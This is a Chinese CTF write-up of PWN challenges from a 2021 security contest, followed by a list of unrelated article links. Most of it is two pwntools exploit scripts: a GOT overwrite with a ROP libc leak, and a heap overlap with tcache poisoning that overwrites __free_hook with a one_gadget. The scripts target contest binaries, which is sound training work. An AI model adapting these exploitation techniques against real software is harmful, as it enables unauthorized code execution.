bbbaby

控制__stack_chk_fail,栈溢出

from pwn import *

context.os = 'linux'
context.log_level = "debug"
context.arch = 'amd64' p = process('./pwn1')#, env={"LD_PRELOAD":'./libc-2.27.so'})
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./pwn1') s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) def debug():
gdb.attach(p)
pause()
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
chk_fail = elf.got['__stack_chk_fail']
rdi = 0x0000000000400a03
pl = 'a'*0x118 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(0x000000000040086C) + p64(0x00000000004008BB)
p.sendlineafter('choice\n','0')
p.sendlineafter('address:\n',str(chk_fail))
p.sendafter('content:\n',p64(puts_plt))
p.sendlineafter('your choice\n','1')
p.sendlineafter('size:\n',str(0x1000))
p.sendafter('content:\n',pl)
p.sendlineafter('choice\n','2')
libcbase = uu64(r(6)) - libc.sym['puts']
ogg = libcbase + 0x4f322
pl = 'a'*0x118 + p64(ogg)
p.sendlineafter('your choice\n','1')
p.sendlineafter('size:\n',str(0x1000))
p.sendafter('content:\n',pl)
p.sendlineafter('choice\n','2') itr()

Magic

打开一看

熟悉,像是控制流平坦化,不是,就是控制流平坦化混淆。

清楚llvm的混淆原理,那就慢慢分析叭

很简单就一个emmm uaf就完了主要难在分析上。

由于没有2.23的环境就不打了emmm

h3apclass

ren出的题目

这里是存在溢出的,如果把堆块填满的话这里就可以写到下一个堆块的size位置,造成类似off by one的效果,开启了沙盒,心中默念orw优先考虑栈迁移!!!!

已经劫持了,由于16分之一跳起来太难就不搞了

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' #p = remote('39.99.242.16',10002)
p = process('./H3apClass')#, env={"LD_PRELOAD":'./libc.so.6'})
elf=ELF('./H3apClass')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so') s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) def debug():
gdb.attach(p)
pause() def add(idx,size,content):
sla('4:Drop homework\n',1)
sla('Which homework?\n',idx)
sla('size:\n',size)
p.sendafter('content:\n',content) def edit(idx,content):
sla('4:Drop homework\n',3)
sla('Which homework?\n',idx)
p.sendafter('content:\n',content) def delete(idx):
sla('4:Drop homework\n',4)
sla('Which homework?\n',idx) add(0,0x18,'b'*0x18)
add(1,0xf8,'bpc')
add(2,0xf8,'bpc')
add(3,0xf8,'bpc')
add(4,0xf8,'bpc')
add(5,0xf8,'bpc')
delete(5)
delete(4)
delete(3)
delete(2)
add(2,0xe8,'bpc')
add(3,0xe8,'bpc')
add(4,0xe8,'bpc')
add(5,0x18,'bpc')
pl = b'a'*0x18 + p16(0x7d1)
edit(0,pl)
delete(1)
delete(4)
delete(3)
delete(2)
add(2,0x70,'bpc')
add(3,0x70,'bpc')
add(4,0x10,'\xa0\x36')
delete(3)
delete(2)
add(2,0xf8,'bpc')
add(3,0xf8,p64(0xfbad1887)+p64(0)*3+b'\x00')
libcbase = uu64((ru('\x7f')[-5:]+b'\x7f')) - 0x1EC980
leak('libcbase',libcbase)
free = libcbase + libc.sym['__free_hook']
pl = b'a'*0x18 + p8(0x81)
edit(0,pl)
delete(0)
delete(1)
delete(5)
delete(4)
edit(2,p64(free)[:6])
add(0,0x18,'bpc')
add(1,0x18,'bpc')
ogg = libcbase + 0x154DD0
add(4,0x18,p64(ogg)) debug() p.interactive()

[复现]陇原战"疫"2021网络安全大赛-PWN的更多相关文章

  1. Writeup:第五届上海市大学生网络安全大赛-Web

    目录 Writeup:第五届上海市大学生网络安全大赛-Web 一.Decade 无参数函数RCE(./..) 二.Easysql 三.Babyt5 二次编码绕过strpos Description: ...

  2. 2019年上海市大学生网络安全大赛两道misc WriteUp

    2019年全国大学生网络安全邀请赛暨第五届上海市大学生网络安全大赛 做出了两道Misc== 签到 题干 解题过程 题干提示一直注册成功,如果注册失败也许会出现flag. 下载下来是包含010edito ...

  3. 全面解析百度大脑发布“AI开发者‘战疫’守护计划”

    即日起,百度大脑发布“AI开发者战疫守护计划” 大疫当前,人人有责,携手开发者共同出击抗击疫情 基于百度大脑AI开放平台和飞桨深度学习平台,积极运用算法.算力.软件等“武器”助力抗疫!   谁能参与计 ...

  4. 百度大脑发布“AI开发者‘战疫’守护计划”,AI支援抗疫再升级

    面对新冠肺炎疫情,AI开发者们正在积极运用算法.算力.软件等“武器”助力抗疫.针对开发者们在疫情防控期间的开发与学习需求,2月6日,百度大脑推出“AI开发者‘战疫’守护计划”, 正在进行疫情防控相关应 ...

  5. 【巨杉数据库SequoiaDB】为“战疫” 保驾护航,巨杉在行动

    2020年,我们经历了一个不平静的新春,在这场大的“战疫”中,巨杉数据库也积极响应号召,勇于承担新一代科技企业的社会担当,用自己的行动助力这场疫情防控阻击战! 赋能“战疫”快速响应 巨杉数据库目前服务 ...

  6. 助力企业战疫提效保质,腾讯wetest远程办公工具包请查收!

    导语 疫情当前,减少个人的出行与聚集成为了抗击疫情的重要防线.不少企业为了员工的安全与战疫的目标,开始实行在家远程办公的措施.作为开发测试人员,对工作环境与设备软件的条件要求相对较高,当前在远程办公的 ...

  7. 2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup

    2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup 2020年网鼎杯白虎组赛题.zip下载 https://download.csdn.net/download/jameswhit ...

  8. [原题复现][2020i春秋抗疫赛] WEB blanklist(SQL堆叠注入、handler绕过)

    简介 今天参加i春秋新春抗疫赛 一道web没整出来 啊啊啊 好垃圾啊啊啊啊啊啊啊  晚上看群里赵师傅的buuoj平台太屌了分分钟上线 然后赵师傅还分享了思路用handler语句绕过select过滤.. ...

  9. 高校战“疫”网络安全分享赛 Misc ez_mem&usb

    打开之后是一个流量包 用wireshark导出HTTP文件,有个upload,用一下binwalk,出来了一个镜像文件 用volatility搜一下,命令里有一个密码,看见了但是后来给忘了... 文件 ...

  10. IT运维软件免费送 智和信通战疫活动火热进行中

    突如其来的“新型冠状病毒”疫情牵动了全国人民的心,这是一场与病毒抗争,为生命逆行与时间赛跑的战役.举国上下众志成城面对疫情,在线医疗.在线教学.在线办公.在线会议.电商销售成为热点.线上经济的火热给企 ...

随机推荐

  1. Day 11 11.2 文件操作

    文件操作 引言 到目前为止,我们做的一切操作,都是在内存里进行的,这样会有什么问题吗?如果一旦断电或发生意外关机了,那么你辛勤的工作成果将瞬间消失.是不是感觉事还挺大的呢?现在你是否感觉你的编程技巧还 ...

  2. WPFGroupBox控件自定义

    先上效果图 直接上代码(直接在Window.Resources里面添加这段代码) <Style TargetType="GroupBox"> <Setter Pr ...

  3. Java流程控制之顺序结构+选择结构

    顺序结构 Java的基本结构就是顺序结构,除非特别指明,否则就按照顺序一句一句执行. 顺序结构是最简单的算法结构. 语句与语句之间,框与框之间是按从上到下的顺序进行的,它是有若干个依次执行的处理步骤组 ...

  4. django学习:转载

    https://www.cnblogs.com/ginvip/p/6894690.html https://www.cnblogs.com/yangmv/p/5327477.html https:// ...

  5. Ubuntu 20.04 部署Prmoetheus+grafana+mysql+mysqld_exporter+node_exporter

    Prometheus简介 Prometheus是一个功能强大的开源监控系统,可从您的服务中收集指标并将其存储在时间序列数据库中.它通过Grafana等工具提供多维数据模型,灵活的查询语言和多样化的可视 ...

  6. springboot java redis 监听超时事件

    package ideal4j.pfa.config.redis; import cn.hutool.core.date.DateTime; import com.alibaba.fastjson.J ...

  7. NX二次开发,对象上色

    #include <uf_defs.h> #include <uf_ui_types.h> #include <uf.h> #include <uf_ui.h ...

  8. 在linux环境下自动执行python脚本

    有时候编辑的py文件,需要进行自动执行时,可以用以下方式进行定时 00 09 * * * /usr/local/bin/python3 /udata/ubi/uenbi_py/trade_all_da ...

  9. 手机 termux 开启ssh 并连接

    第一步 :下载  termux https://f-droid.org/packages/com.termux/ 第二步 :安装  termux 打开后安装  pkg install openssh ...

  10. AES加密 php7版本 openssl_encrypt 遇到的坑

    与前端对接api ,解密不了前端加密的数据. 问题描述: 1.前端用 cryptojs  加密的 密钥是24位 , 2.后端用的php7的 openssl_encrypt  同密钥来进行解密,发现解密 ...